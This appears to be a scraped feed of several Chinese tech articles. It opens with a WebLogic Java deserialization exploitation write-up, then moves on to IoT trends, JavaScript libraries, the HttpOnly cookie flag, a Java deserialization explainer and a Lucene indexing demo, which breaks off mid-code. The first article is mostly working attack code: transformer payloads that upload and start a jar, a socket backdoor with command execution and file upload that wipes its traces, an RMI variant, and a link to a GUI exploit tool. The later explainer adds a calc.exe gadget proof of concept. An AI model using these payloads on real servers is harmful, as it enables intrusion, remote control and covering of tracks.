  1. 本地创建Socket实现的迷你服务器类并导出jar包
  2. 把jar包上传至目标服务器
  3. 启动目标服务器上的迷你服务器
  4. 使用二进制文件上传和命令执行功能
  5. 发送关闭请求,清理目标服务器残留文件

0x02 实现


1.本地创建Socket实现的迷你服务器类并导出jar包

public class Server {

    /**
     * 启动服务器
     * @param port
     * @param path
     */
    public static void start(int port, String path) {
        ServerSocket server = null;
        Socket client = null;
        InputStream input = null;
        OutputStream out = null;
        Runtime runTime = Runtime.getRuntime();
        try {
            server = new ServerSocket(port);
            // 0表示功能模式 1表示传输模式
            int opcode = 0;
            int len = 0;
            byte[] data = new byte[100 * 1024];
            String uploadPath = "";
            boolean isUploadStart = false;
            client = server.accept();
            input = client.getInputStream();
            out = client.getOutputStream();
            byte[] overData = { 0, 0, 0, 6, 6, 6, 8, 8, 8 };
            while (true) {
                len = input.read(data);
                if (len != -1) {
                    if (opcode == 0) {
                        // 功能模式
                        String operation = new String(data, 0, len);
                        String[] receive = operation.split(":::");
                        if ("bye".equals(receive[0])) {
                            // 断开连接 关闭服务器
                            out.write("success".getBytes());
                            out.flush();
                            FileOutputStream outputStream = new FileOutputStream(path);
                            // 清理残留文件
                            outputStream.write("".getBytes());
                            outputStream.flush();
                            outputStream.close();
                            break;
                        } else if ("cmd".equals(receive[0])) {
                            // 执行命令 返回结果
                            try {
                                Process proc = runTime.exec(receive[1]);
                                InputStream in = proc.getInputStream();
                                byte[] procData = new byte[1024];
                                byte[] total = new byte[0];
                                int procDataLen = 0;
                                while ((procDataLen = in.read(procData)) != -1) {
                                    byte[] temp = new byte[procDataLen];
                                    for (int i = 0; i < procDataLen; i++) {
                                        temp[i] = procData[i];
                                    }
                                    total = byteMerger(total, temp);
                                }
                                if (total.length == 0) {
                                    out.write("error".getBytes());
                                } else {
                                    out.write(total);
                                }
                                out.flush();
                            } catch (Exception e) {
                                e.printStackTrace();
                                out.write("error".getBytes());
                                out.flush();
                            }
                        } else if ("upload".equals(receive[0])) {
                            // 切换成传输模式
                            uploadPath = receive[1];
                            isUploadStart = true;
                            opcode = 1;
                        }
                    } else if (opcode == 1) {
                        // 传输模式
                        byte[] receive = new byte[len];
                        for (int i = 0; i < len; i++) {
                            receive[i] = data[i];
                        }
                        if (Arrays.equals(overData, receive)) {
                            // 传输结束切换成功能模式
                            isUploadStart = false;
                            opcode = 0;
                        } else {
                            // 分块接收
                            FileOutputStream outputStream = null;
                            if (isUploadStart) {
                                // 接收文件的开头部分
                                outputStream = new FileOutputStream(uploadPath, false);
                                outputStream.write(receive);
                                isUploadStart = false;
                            } else {
                                // 接收文件的结束部分
                                outputStream = new FileOutputStream(uploadPath, true);
                                outputStream.write(receive);
                            }
                            outputStream.close();
                        }
                    }
                } else {
                    Thread.sleep(1000);
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
            try {
                out.write("error".getBytes());
                out.flush();
            } catch (IOException e1) {
                e1.printStackTrace();
            }
        } finally {
            try {
                client.close();
                server.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }

    /**
     * 合并字节数组
     * @param byte_1
     * @param byte_2
     * @return 合并后的数组
     */
    private static byte[] byteMerger(byte[] byte_1, byte[] byte_2) {
        byte[] byte_3 = new byte[byte_1.length + byte_2.length];
        System.arraycopy(byte_1, 0, byte_3, 0, byte_1.length);
        System.arraycopy(byte_2, 0, byte_3, byte_1.length, byte_2.length);
        return byte_3;
    }

}

编译并导出jar包

2.发送Payload把jar包上传至服务器

这里我要特别说明一点,breenmachine在介绍WebLogic漏洞利用时特别说明了需要计算Payload的长度,但是我看到过的国内文章没有一篇提到这一点,给出的利用代码中的Payload长度值写的都是原作者的 09f3,我觉得这也是导致漏洞利用失败的主要原因之一,因此发送Payload前最好计算下长度。

A very important point about the first chunk of the payload. Notice the first 4 bytes “00 00 09 f3”. The “09 f3” is the specification for the TOTAL payload length in bytes.

Payload的长度值可以在一个范围内,我们团队的cf_hb经过fuzz测试得到几个范围值:

  1. poc访问指定url:0x0000-0x1e39
  2. 反弹shell:0x000-0x2049
  3. 执行命令calc.exe:0x0000-0x1d38

这一步生成上传jar包的Payload

public static byte[] generateServerPayload(String remotePath) throws Exception {
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(FileOutputStream.class),
            new InvokerTransformer("getConstructor",
                    new Class[] { Class[].class },
                    new Object[] { new Class[] { String.class } }),
            new InvokerTransformer("newInstance",
                    new Class[] { Object[].class },
                    new Object[] { new Object[] { remotePath } }),
            new InvokerTransformer("write", new Class[] { byte[].class },
                    new Object[] { Utils.hexStringToBytes(SERVER_JAR) }),
            new ConstantTransformer(1) };
    return generateObject(transformers);
}

发送到目标服务器写入jar包

3.发送Payload启动目标服务器上的迷你服务器

生成启动服务器的Payload

public static byte[] generateStartPayload(String remoteClassPath, String remotePath, int port) throws Exception {
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(URLClassLoader.class),
            new InvokerTransformer("getConstructor",
                    new Class[] { Class[].class },
                    new Object[] { new Class[] { URL[].class } }),
            new InvokerTransformer("newInstance",
                    new Class[] { Object[].class },
                    new Object[] { new Object[] { new URL[] { new URL(remoteClassPath) } } }),
            new InvokerTransformer("loadClass",
                    new Class[] { String.class },
                    new Object[] { "org.heysec.exp.Server" }),
            new InvokerTransformer("getMethod",
                    new Class[] { String.class, Class[].class },
                    new Object[] { "start", new Class[] { int.class, String.class } }),
            new InvokerTransformer("invoke",
                    new Class[] { Object.class, Object[].class },
                    new Object[] { null, new Object[] { port, remotePath } }) };
    return generateObject(transformers);
}

发送到目标服务器启动迷你服务器

4.使用二进制文件上传和命令执行功能

本地测试客户端的代码

public class Client {
    public static void main(String[] args) {
        Socket client = null;
        InputStream input = null;
        OutputStream output = null;
        FileInputStream fileInputStream = null;
        try {
            int len = 0;
            byte[] receiveData = new byte[5 * 1024];
            byte[] sendData = new byte[100 * 1024];
            int sendLen = 0;
            byte[] overData = { 0, 0, 0, 6, 6, 6, 8, 8, 8 };

            // 创建客户端Socket
            client = new Socket("10.10.10.129", 8080);
            input = client.getInputStream();
            output = client.getOutputStream();

            // 发送准备上传文件命令使服务器切换到传输模式
            output.write("upload:::test.zip".getBytes());
            output.flush();
            Thread.sleep(1000);

            // 分块传输文件
            fileInputStream = new FileInputStream("F:/安全集/tools/BurpSuite_pro_v1.6.27.zip");
            sendLen = fileInputStream.read(sendData);
            if (sendLen != -1) {
                output.write(Arrays.copyOfRange(sendData, 0, sendLen));
                output.flush();
                Thread.sleep(1000);
                while ((sendLen = fileInputStream.read(sendData)) != -1) {
                    output.write(Arrays.copyOfRange(sendData, 0, sendLen));
                    output.flush();
                }
            }
            Thread.sleep(1000);

            // 发送文件上传结束命令
            output.write(overData);
            output.flush();
            Thread.sleep(1000);

            // 执行命令
            output.write("cmd:::cmd /c dir".getBytes());
            output.flush();
            Thread.sleep(1000);

            // 接收返回结果
            len = input.read(receiveData);
            String result = new String(receiveData, 0, len, "GBK");
            System.out.println(result);
            Thread.sleep(1000);

            // 关闭服务器
            output.write("bye".getBytes());
            output.flush();
            Thread.sleep(1000);

            len = input.read(receiveData);
            System.out.println(new String(receiveData, 0, len));
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            try {
                fileInputStream.close();
                client.close();
            } catch (Exception e) {
                e.printStackTrace();
            }

        }
    }
}

测试结果1 图片1

测试结果2 图片2

5. 发送关闭请求清理残留文件

客户端发送关闭请求

output.write("bye".getBytes());
output.flush();

服务器清除残留文件并关闭

if ("bye".equals(receive[0])) {
    // 断开连接 关闭服务器
    out.write("success".getBytes());
    out.flush();
    FileOutputStream outputStream = new FileOutputStream(path);
    // 清理残留文件
    outputStream.write("".getBytes());
    outputStream.flush();
    outputStream.close();
    break;
}

这就是按照我的思路实现的全部过程

0x03 RMI方式实现二进制文件上传及优化流程


这部分只是对rebeyond的利用方式进行了扩展,添加了二进制文件上传的功能以及优化了流程。

扩展的远程类

public class RemoteObjectImpl implements RemoteObject {

    /**
     * 分块上传文件
     */
    public boolean upload(String uploadPath, byte[] data, boolean append) {
        FileOutputStream out = null;
        try {
            out = new FileOutputStream(uploadPath, append);
            out.write(data);
            return true;
        } catch (Exception e) {
            e.printStackTrace();
            return false;
        } finally {
            try {
                out.close();
            } catch (Exception e) {
                e.printStackTrace();
                return false;
            }
        }
    }

    /**
     * 执行命令
     */
    public String exec(String cmd) {
        try {
            Process proc = Runtime.getRuntime().exec(cmd);
            BufferedReader br = new BufferedReader(new InputStreamReader(
                    proc.getInputStream()));
            StringBuffer sb = new StringBuffer();
            String line;
            String result;
            while ((line = br.readLine()) != null) {
                sb.append(line).append("\n");
            }
            result = sb.toString();
            if ("".equals(result)) {
                return "error";
            } else {
                return result;
            }
        } catch (Exception e) {
            e.printStackTrace();
            return "error";
        }
    }

    /**
     * 反注册远程类并清除残留文件
     */
    public void unbind(String path) {
        try {
            Context ctx = new InitialContext();
            ctx.unbind("RemoteObject");
        } catch (Exception e) {
            e.printStackTrace();
        }
        FileOutputStream out = null;
        File file = null;
        try {
            file = new File(path);
            out = new FileOutputStream(file);
            out.write("".getBytes());
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            try {
                out.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }

    }

    /**
     * 注册远程类
     */
    public static void bind() {
        try {
            RemoteObjectImpl remote = new RemoteObjectImpl();
            Context ctx = new InitialContext();
            ctx.bind("RemoteObject", remote);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

这样最后反注册和清除残留文件的时候就不需要再发送Payload了,只要调用远程类的unbind方法就行。

0x04 Socket VS RMI


VSSocketRMI
端口需要额外端口可能被防火墙拦截使用WebLogic本身端口
传输速率通过Socket字节流较快通过远程过程调用较慢

0x05 总结


这里以创建Socket服务器的思想实现了漏洞利用,我们可以继续扩展服务器的功能,甚至其他的代码执行漏洞也可以尝试这种方式,在传输较大文件时建议优先使用Socket方式。最后,我开发了GUI程序集成了Socket和RMI两种利用方式,大家可以自主选择。

Socket利用方式 图片3

RMI利用方式 图片4

下载链接: http://pan.baidu.com/s/1pKuR9GJ密码:62x4

0x06 参考链接


  1. http://www.freebuf.com/vuls/90802.html
  2. http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/

2016年物联网将会改变世界的N种方式

$
0
0

88241451347938

物联网的下一步会如何发展?它会变成什么样子?先让我们用数据来说话。根据Gartner的最新统计报告显示,相比较于2015年,明年物联网相关产品和服务的市场总额将会达到2350亿美元。同时,到2016年全球物联网设备的总数为64亿台,比今年增加30%,而这个数字到2020年将会增长到208亿。

如果从数字上你看不出什么,那么我们可以看到一些目前已经发生或将要发生的技术趋势或变化,而在接下来的一年里,物联网会发展成什么样,没人会给出定论。

蓝牙更智能、更快速

59901451347939

物联网设备,比如智能家居围绕着Wi-Fi和蓝牙之间如何通信是下一个战场,而在2016年,蓝牙相信会比Wi-Fi变得更加主流,同时传输速度更快、网络覆盖范围更广。智能蓝牙技术的有效范围将增加4倍,同时速度也增加1倍,可以带来更快的数据传输。

最让人高兴的是,蓝牙将会把所有智能家居设备连接到一起,覆盖到整个建筑或家庭之内,同时包括工业自动化、基于位置的服务和智能技术设施也会更多的使用蓝牙技术。

联网办公

6911451347939

自动化工厂或生产工艺使用到物联网技术已经不新鲜,而在办公室里呢?现在智能手机、可穿戴设备越来越流行,而物联网成为办公生态系统的桥梁已经成为了时间问题。

通过对地理位置和应用程序收集的交通状况可以让你在开会的路上就能“看到”办公室同事们发生了什么事情,甚至在无需面对面的情况下开会都不是不可能的事情。

信号传播

6271451347939

在许多小型零售店或大商场里,都有通过安装的小型低功耗蓝牙信号作为商家的推广手段,可以有针对性的向逛街的智能手机用户推送广告。“Beacons技术可以让用户在正确的位置打开正确的应用,”Mubaloo创新实验室负责人Mike Crooks表示。“通过应用程序右边的弹出页面可以发送特殊的促销信息或特价商品。”

苹果的iBeacon技术专为iOS设备开发,而谷歌的新Eddystone则让更多的开发人员使用相同的SDK,在Disqovr等平台上使用beacons技术。

传感器成为核心

38211451347939

其实,物联网的核心就是各种传感器,很大程度上,它们是我们解决问题的最终手段。如果只是谈论目标缺少实际的意义,而传感器就像是物联网这棵大树的根部,向各个枝干传递数据作为养分,这才叫物联网。

健康领域

64091451347940

可穿戴设备是医院融合进物联网平台的重要中端,可以让患者在家中也能够随时向医生“通报病情”。甚至将传感器植入到患者体内也不是不可能,但是电池就成为了需要解决的问题。现在,各种“无电池”技术,包括生物能源供电、无线电波、震动和热量供电都被使用到植入式医用传感器中,而通过蓝牙或NFC可以让这些传感器终端通讯数据。

这样的技术可以被使用在心脏起搏器甚至是药物输送装置中,而机构统计到2020年消费类医疗保健传感器的市场规模将达到474亿美元。

也许并没那么乐观

93851451347940

虽然机构预测到明年会有数十亿的物联网设备,但是未来刻有发生变数的可能。虽然网络越来越廉价让多对一模式发生了变化,而如果变成“多对多”的状况,谁来买单就成为了一个问题。许多供应商会让整个市场的技术和标准变得更加复杂,因此也许物联网市场会继续增长,但增长缓慢。

过于乐观的前景会让厂商更多的关注服务平台等长期价值项目,而忽略的硬件产品的销售,比如Nest现在就已经不仅仅是一款智能恒温器,它已经开始向智能家居控制中枢过渡。

在接下来的12个月里,数据通讯将与电力成为同样重要的事情,物联网厂商会把重点将从产品转移到服务上,通过数据来满足客户的需求。

平台战争

36611451347940

构建物联网是需要传感器来手机数据,然后通过无线技术用最节省成本的方式传输到云端。而除此之外,还有另外一个领域,那就是平台之争也非常激烈。目前,从苹果HomeKit、谷歌Brillo和英特尔IoTivity到高通的AllJoyn、UPnP Forum和ARM等等。

数据集中化

95611451347941

家中的物联网设备越来越多,而如何随时随地接收到来自全球29000个气象站的天气数据,也成为了可能的事情。像Netatmo这样的气象站产品,可以随时接受数百万的数据信息,同时将所有数据集中化进行处理。

CIO

46031451347941

虽然听起来,首席物联网官CIO这个头衔听起来有些玩笑,但是在2016年也可能变成现实。

每个科技公司都有各个领域的负责人,包括销售、研发等环节都不是互相独立的环节,都需要自动化软件和联网设备的支持。如果增加CIO这个头衔,绝对会让物联网在整个公司的布局上变得更加合理。

可定制睡眠

18751451347941

现在已经有超过9000个App或设备可以帮助你监控睡眠质量,甚至在最合适的时间自动帮你开灯。就算打个小盹,聪明的物联网设备也能帮你拉上窗帘,为你营造一个最适合休息的环境。

在2016年,我们将看到三星的SleepSense首次亮相,同时包括新的Juvo睡眠监测床垫可以调整你的整个睡眠环境,包括温度、光线、颜色甚至是声音。而IFTT平台,让这一切成为可能。

您可能也喜欢的文章:

中国信息通信研究院:2015年物联网白皮书

物联网能为企业做点什么?

2015年七大技术趋势:物联网仍一团糟

赛迪:2015年物联网及传感器产业发展白皮书

物联网将永远改变大数据与商务面貌的十四种方式
无觅

不可错过的javascript迷你库

$
0
0

最近看着下自己的 github star,把我吓坏了,手贱党,收藏癖的我都收藏了300+个仓库了,是时候整理一下了。

Unix主张kiss,小而美被实践是最好用的,本文将介绍笔者收集的一些非常赞的开源库。

这些库的共性是非常小,而且功能单一。

cookie.js

如果你操作过cookie的接口,那么你一定会感觉这东西的规范真的是太复杂了,根本记不住啊,其实你是对的,因为cookie的接口设计的是有问题的,也就是说设计的太底层了,根本不友好,那么来试试这个js库吧。

store.js

再来说说浏览器的localStore吧,这东西太赞了,可惜尼玛每个浏览器都实现的各不相同,我也是醉了,如果你也有同样的烦恼,不如来试试这个迷你库,它有更简单的api,最重要的是他解决了跨浏览器问题,甚至解决了低版本浏览器(ie6)不支持localStore的问题。

data.js

data.js 是带有消息通知的数据中心,我称其为会说话的数据。旨在让编程变得简单,世界变得美好

如果你使用模块化编程,或者在node环境下的话,你一定纠结过不同模块间到底如何共享数据的问题(虽然这是反模式),全局变量。。。那么试试这个迷你库吧,简单可以来,会让你消除上面的烦恼问题,同时他还支持消息,当数据更新时,会发出消息。

template.js

template.js 一款javascript模板引擎,简单,好用。

lodJS

JavaScript模块加载器,基于AMD。迄今为止,对AMD理解最好的实现

favico.js

在favico上添加数字书不是很nice,点击下面的官网查看效果,这肯定要逼死强迫症了。

官网

Modernizr

这个就不过多解释了,各种html css js检测器,功能检测哦。

Move.js

如果你操作过css3的属性,一定会觉得非常痛苦的,那不如来试试合格,css3动画瞬间变得简单了。

Keypress

一定记不住键盘上每个键的键位码吧,来试试这个,直观的展示,再也不需要记忆了。

device.js

你想检测用户的设备,试试这个吧,比jq.browser全面多了。

is.js

迷你检查库,这个几乎涵盖了全部的各种检测。

es5-shim

还没使用es5,只能鄙视你了,担心兼容性,用这个吧,主要是为了es6打基础啊。

es6-promise

promise太好用了,兼容性问题靠这个全解决了。

parallax

先来看个视差效果的 demo,是不是很赞,如果你也想实现这个效果,那么来试试这个吧。

notie.js

还在使用弹窗通知用户,太low了,快来试试这款非阻塞式,小清新的通知插件吧,对移动端有好,界面好到爆炸啊。

share.js

一键分享到微博、QQ空间、QQ好友、微信、腾讯微博、豆瓣、Facebook、Twitter、Linkedin、Google+、点点等社交网站。

如果你收购了分享组件的烦恼,那么来试试这个对移动端有好的分享组件吧,界面优美,看起来很赞。

demo

mathjs

js自带的数学运算不能满足你的需求了,那试试这个,扩展了很多数学运算。

这里是 官网

总结

本文介绍的只是作者收集的一小部分而已,作者将会保持时时更新的,如果你有什么推荐的欢迎反馈给我。

最后向大家推荐依稀 microjs,这里收集了太多小而美的库,自己来淘宝吧。

JAVA年度安全 第四周 SESSION COOKIE HTTPONLY 标识

$
0
0
http://www.jtmelton.com/2012/01/25/year-of-security-for-java-week-4-session-cookie-httponly-flag/

What is it and why do I care?
Session cookies (或者包含JSSESSIONID的cookie)是指用来管理web应用的session会话的cookies.这些cookie中保存特定使用者的session ID标识,而且相同的session ID以及session生命周期内相关的数据也在服务器端保存。在web应用中最常用的session管理方式是通过每次请求的时候将cookies传送到服务器端来进行session识别。

HttpOnly标识是一个可选的、避免利用XSS(Cross-Site Scripting)来获取session cookie的标识。XSS攻击最常见一个的目标是通过获取的session cookie来劫持受害者的session;使用HttpOnly标识是一种很有用的保护机制。



what should I do about it ?
解决方案很简单。只需要在session cookie上添加HttpOnly标识就行了(最好是所有的cookie)。

下面是一个没有添加HttpOnly标识的session cookie:

Cookie: jsessionid=AS348AF929FK219CKA9FK3B79870H;

添加HttpOnlyFlag标识之后:

Cookie: jsessionid=AS348AF929FK219CKA9FK3B79870H; HttpOnly;

如果你看过上周的文章,添加了secure和HttpOnly标识的cookie:

Cookie: jsessionid=AS348AF929FK219CKA9FK3B79870H; HttpOnly; secure;

很简单。你可以人工设置这些参数,如果你在Servlet3或者更新的环境中开发,只需要在web.xml简单的配置就能实现这种效果。你要在web.xml中添加如下片段:

<session-config>

  <cookie-config>

    <http-only>true</http-only>

  </cookie-config>

</session-config>

而且如果使用了secure标识,配置应该如下

<session-config>

  <cookie-config>

    <http-only>true</http-only>

    <secure>true</secure>

  </cookie-config>

</session-config>

如上所述,解决这个问题很简单。每个人都应该解决这个问题。

References
http://blog.mozilla.com/webappsec/2011/03/31/enabling-browser-security-in-web-applications/
http://michael-coates.blogspot.com/2011/03/enabling-browser-security-in-web.html
https://www.owasp.org/index.php/HttpOnly

已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



JAVA 反序列化攻击

$
0
0

Java 反序列化攻击漏洞由 FoxGlove 的最近的一篇博文爆出,该漏洞可以被黑客利用向服务器上传恶意脚本,或者远程执行命令。

由于目前发现该漏洞存在于 Apache commons-collections, Apache xalan 和 Groovy 包中,也就意味着使用了这些包的服务器(目前发现有WebSphere, WebLogic,JBoss),第三方框架(Spring,Groovy),第三方应用(Jenkins),以及依赖于这些服务器,框架或者直接/间接引用这些包的应用都会受到威胁,这样的应用的数量会以百万计。

说到漏洞存在的原因,根本还在于 Java 序列化自身的缺陷,众所周知,序列化的目的是使 Java 对象转化成字节流,方便存储或者网络上传输。Java 对象分解成字节码过程叫做序列化,从字节码组装成 Java 对象的过程叫做反序列化,这两个过程分别对应于的 writeObject 和 readObject 方法。问题在于 readObject 在利用字节流组装 Java 对象时不会调用构造函数, 也就意味着没有任何类型的检查,用户可以复写 readObject() 方法执行任何希望执行的代码。

这可能会导致三方面问题:

1. 序列化对象修改了对象或者父类的某个未加保护的关键属性,导致未预料的结果。 例如:

class Client {
private int value;
public Client(int v) {
        if (v <= 0) {
            throw new RuntimeException("not positive number");
        }
        value = v;
    }
    public void writeObject(ObjectOutputStream oos) throws IOException {
        int value = 0; //这里该值被改为0。(现实中可以通过调试模式,修改serialize字节码或者class instrument等多种方式修改该值)
        oos.defaultWriteObject();
    }
}
class Controller {
    private ArrayBlockingQueue<Client> queue;
    public void receiveState(ObjectInputStream o) throws IOException, ClassNotFoundException {
        Client s = (Client)o.readObject(); //反序列化不调用构造函数,value的非零检查不会触发
        queue.add(s);
    }
    public Client getClient() throws InterruptedException {
        return (Client)queue.take();
    }
}
class Server extends Thread {
    private Controller controller = new Controller();
    private int result = 100;
    public void run() {
        while (true) {
            try {
                result = result / controller.getClient().getValue(); // 由于value是0,会导致算数异常,线程结束
                Thread.sleep(100);
            } catch (InterruptedException e) {}
        }
    }
}

2. 攻击者可以创建循环对象链,然后序列化。会导致反序列化无法结束, 空耗系统资源。例如:

Set root = new HashSet();
Set s1 = root;
Set s2 = new HashSet();
for (int i = 0; i < 10; i++) {
  Set t1 = new HashSet();
  Set t2 = new HashSet();
  t1.add("foo"); //使t2不等于t1
  s1.add(t1);
  s1.add(t2);
  s2.add(t1);
  s2.add(t2);
  s1 = t1;
  s2 = t2; 
}

3. 用户在收到序列化对象流时可以选择存储在本地,以后再处理。由于没有任何校验机制,使得上传恶意程序成为可能。

class Controller {
    public void receiveState(ObjectInputStream ois) {
        FileOutputStream fos = new FileOutputStream(new File("xxx.ser"));
        fos.write(ois); //实际并不知道存的是什么,可能是恶意脚本。
        fos.close();
    }
}

那么这次由 FoxGlove 暴露出来的 Serialization Attack 具体是怎样呢?下面是 Groovy 的一个例子:

public class GroovyTest {
public static void main(String[] args) throws Exception {
    final ConvertedClosure closure = new ConvertedClosure(new MethodClosure("calc.exe", "execute"), "entrySet");
    Class<?>[] clsArr = {Map.class};
    final Map map = Map.class.cast(Proxy.newProxyInstance(GroovyTest.class.getClassLoader(), clsArr, closure));
    final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
    ctor.setAccessible(true);
    final InvocationHandler handler = (InvocationHandler)ctor.newInstance(Override.class, map);
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(bos);
    oos.writeObject(handler);
    byte[] bytes = bos.toByteArray(); //对象被序列化
    ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
    ObjectInputStream ois = new ObjectInputStream(bis);
    ois.readObject(); //反序列化时calc.exe被执行
}
}

在这个例子中,ConvertedClosure 会把一个 Closure 对象映射成 Java 的 entrySet方法,而在AnnotationInvocationHandler 的 readObject方法中,会尝试调用 entrySet()方法,这会触发 calc.exe 的调用。

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();

    while(var4.hasNext()) {
        Entry var5 = (Entry)var4.next();
        String var6 = (String)var5.getKey();
        Class var7 = (Class)var3.get(var6);
        if(var7 != null) {
            Object var8 = var5.getValue();
            if(!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
            }
        }
    }
}

针对这个问题,FoxGlove Security 提到开发者不应该反序列化任何不信任的数据,而实际情况却是开发者对该问题的危害没有足够的认知,他提到一种激进的做法那就是如果你足够勇敢可以尝试扫描并删除存在反序列化漏洞的类,但是实际情况是第一没有人敢于冒这种风险,第二,当应用对象的依赖关系会很复杂,反序列化过程会导致很多关联对象被创建,所以扫描不能保证所有的问题类被发现。

然而幸运的是,这个问题引起了一些安全公司的重视,在他们推出的 RASP(Runtime Application Security Protection)产品中会在应用运行期对该漏洞进行防护。

Lucene5学习之多线程创建索引

$
0
0

    昨晚睡觉前把多线程创建索引demo写好了,今天早上7点多就起来,趁着劲头赶紧记录分享一下,这样对那些同样对Lucene感兴趣的童鞋也有所帮助。

    我们都知道Lucene的IndexWriter在构造初始化的时候会去获取索引目录的写锁writerLock,加锁的目的就是保证同时只能有一个IndexWriter实例在往索引目录中写数据,具体看截图:


 而在多线程环境下,光保证只有IndexWriter实例能得到锁还不行,还必须保证每次只能有一个线程能获取到writerLock,Lucene内部是如何实现的呢?请看源码:

   indexWriter添加索引文档是通过addDocument方法实现的,下面是addDocument方法的截图:

 我们发现内部实际调用的是updateDocument方法,继续跟进updateDocument方法,


 updateDocument中ensureOpen();首先确保索引目录已经打开,然后通过docWriter.updateDocument(doc, analyzer, term)真正去更新索引,更新成功后触发索引merge事件processEvents(true, false);docWriter是DocumentsWriter类型,真正执行索引写操作的类是DocumentsWriter,IndexWriter只是内部维护了一个DocumentsWriter属性调用它的方法而已,继续跟进DocumentsWriter类的updateDocument方法,如图:


 final ThreadState perThread = flushControl.obtainAndLock();会视图去获取Lock,因为索引写操作不能同时并发执行,没错这里的ThreadState就是NIO里的ReentrantLock,它跟synchronized作用类似,但它比synchronized控制粒度更小更灵活,能手动在方法内部的任意位置打开和解除锁,两者性能且不谈,因为随着JVM对代码的不断优化,两者性能上的差异会越来越小。扯远了,接着前面的继续说,flushControl.obtainAndLock()在获取锁的时候内部实际是通过perThreadPool.getAndLock来获取锁的,perThreadPool并不是什么线程池,准确来说它是一个锁池,池子里维护了N把锁,每个锁与一个线程ID,跟着我继续看源码,你就明白了。

 perThreadPool是如何获取lock的呢?继续看它的getAndLock方法:


 

getAndLock需要传入一个线程,而flushControl.obtainAndLock()在获取锁的时候内部是这样实现的:


 到此,你应该明白了,Lucene内部只是维护了多把锁而已,并没有真的去New Thread,Thread是通过把当前调用线程当作参数传入的,然后分配锁的时候,每个线程只分配一把锁,而每把锁在写索引的时候都会使用ReentrantLock.lock来限制并发写操作,其实每次对于同一个索引目录仍然只能有一个indexWriter在写索引,那Lucene内部维护多把锁有什么意义呢?一个索引目录只能有一把锁,那如果有多个索引目录,每个索引目录发一把锁,N个索引目录同时进行索引写操作就有意义了。把索引数据全部放一个索引目录本身就不现实,再说一个文件夹下能存放的文件最大数量也不是无穷大的,当一个文件夹下的文件数量达到某个数量级会你读写性能都会急剧下降的,所以把索引文件分摊到多个索引目录是明智之举,所以,当你需要索引的数据量很庞大的时候,要想提高索引创建的速度,除了要充分利用RAMDirectory减少与磁盘IO次数外,可以尝试把索引数据分多索引目录存储,个人建议,如果说的不对,请尽情的喷我。下面我贴一个我昨晚写的多线程创建索引的demo,抛个砖引个玉哈!看代码:

package com.yida.framework.lucene5.index;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.nio.charset.StandardCharsets;
import java.nio.file.FileVisitResult;
import java.nio.file.Files;
import java.nio.file.LinkOption;
import java.nio.file.OpenOption;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.SimpleFileVisitor;
import java.nio.file.attribute.BasicFileAttributes;
import java.util.concurrent.CountDownLatch;

import org.apache.lucene.analysis.Analyzer;
import org.apache.lucene.document.Document;
import org.apache.lucene.document.Field;
import org.apache.lucene.document.LongField;
import org.apache.lucene.document.StringField;
import org.apache.lucene.document.TextField;
import org.apache.lucene.index.IndexWriter;
import org.apache.lucene.index.IndexWriterConfig;
import org.apache.lucene.index.Term;
import org.apache.lucene.index.IndexWriterConfig.OpenMode;
import org.apache.lucene.store.FSDirectory;

import com.yida.framework.lucene5.util.LuceneUtils;

/**
 * 索引创建线程
 * @author Lanxiaowei
 *
 */
public class IndexCreator implements Runnable {
	/**需要读取的文件存放目录*/
	private String docPath;
	/**索引文件存放目录*/
	private String luceneDir;
	
	private int threadCount;
	
	private final CountDownLatch countDownLatch1;

	private final CountDownLatch countDownLatch2;
	
	public IndexCreator(String docPath, String luceneDir,int threadCount,CountDownLatch countDownLatch1,CountDownLatch countDownLatch2) {
		super();
		this.docPath = docPath;
		this.luceneDir = luceneDir;
		this.threadCount = threadCount;
		this.countDownLatch1 = countDownLatch1;
		this.countDownLatch2 = countDownLatch2;
	}

	public void run() {
		IndexWriter writer = null;
		try {
			countDownLatch1.await();
			Analyzer analyzer = LuceneUtils.analyzer;
			FSDirectory directory = LuceneUtils.openFSDirectory(luceneDir);
			IndexWriterConfig config = new IndexWriterConfig(analyzer);
			config.setOpenMode(OpenMode.CREATE_OR_APPEND);
			writer = LuceneUtils.getIndexWriter(directory, config);
			try {
				indexDocs(writer, Paths.get(docPath));
			} catch (IOException e) {
				e.printStackTrace();
			}
		} catch (InterruptedException e1) {
			e1.printStackTrace();
		} finally {
			LuceneUtils.closeIndexWriter(writer);
			countDownLatch2.countDown();
		}
	}
	
	/**
	 * 
	 * @param writer
	 *            索引写入器
	 * @param path
	 *            文件路径
	 * @throws IOException
	 */
	public static void indexDocs(final IndexWriter writer, Path path)
			throws IOException {
		// 如果是目录,查找目录下的文件
		if (Files.isDirectory(path, new LinkOption[0])) {
			System.out.println("directory");
			Files.walkFileTree(path, new SimpleFileVisitor() {
				@Override
				public FileVisitResult visitFile(Object file,
						BasicFileAttributes attrs) throws IOException {
					Path path = (Path)file;
					System.out.println(path.getFileName());
					indexDoc(writer, path, attrs.lastModifiedTime().toMillis());
